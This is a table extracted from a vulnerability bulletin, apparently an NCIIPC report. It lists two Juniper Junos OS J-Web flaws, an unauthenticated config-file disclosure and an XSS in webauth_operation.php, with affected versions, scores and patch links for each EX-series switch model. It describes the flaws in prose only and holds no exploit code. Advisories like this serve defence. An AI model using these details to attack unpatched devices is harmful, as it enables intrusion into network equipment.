Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4100-f					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal	https://supportportal.juniper.net/JSA76390	H-JUN-EX41-090224/1591

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10;	https://support portal.juniper.net/JSA76390	H-JUN-EX41-090224/1592

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4100_multigigabit					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing	https://support portal.juniper.net/JSA76390	H-JUN-EX41-090224/1593

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX41-090224/1594

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4200					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access	https://support portal.juniper.net/JSA76390	H-JUN-EX42-090224/1595

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with	https://supportportal.juniper.net/JSA76390	H-JUN-EX42-090224/1596

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4200-vc					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the	https://supportportal.juniper.net/JSA76390	H-JUN-EX42-090224/1597

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in	https://support portal.juniper.net/JSA76390	H-JUN-EX42-090224/1598

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: ex4300					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file.	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1599

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1600

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-24p					
Affected Version(s): -					
Generation of Error Message Containing Sensitive	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1601

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Information			Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1602

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-24p-s					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1603

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1604

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-24t					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1605

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator.	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1606

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: ex4300-24t-s					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1607

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1608

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-32f					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information.	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1609

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8;	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1610

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-32f-dc					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1611

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1612

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-32f-s					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information.	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1613

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions,	https://supportportal.juniper.net/JSA76390	H-JUN-EX43-090224/1614

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4300-48mp					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then	https://support portal.juniper.net/JSA76390	H-JUN-EX43-090224/1615

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
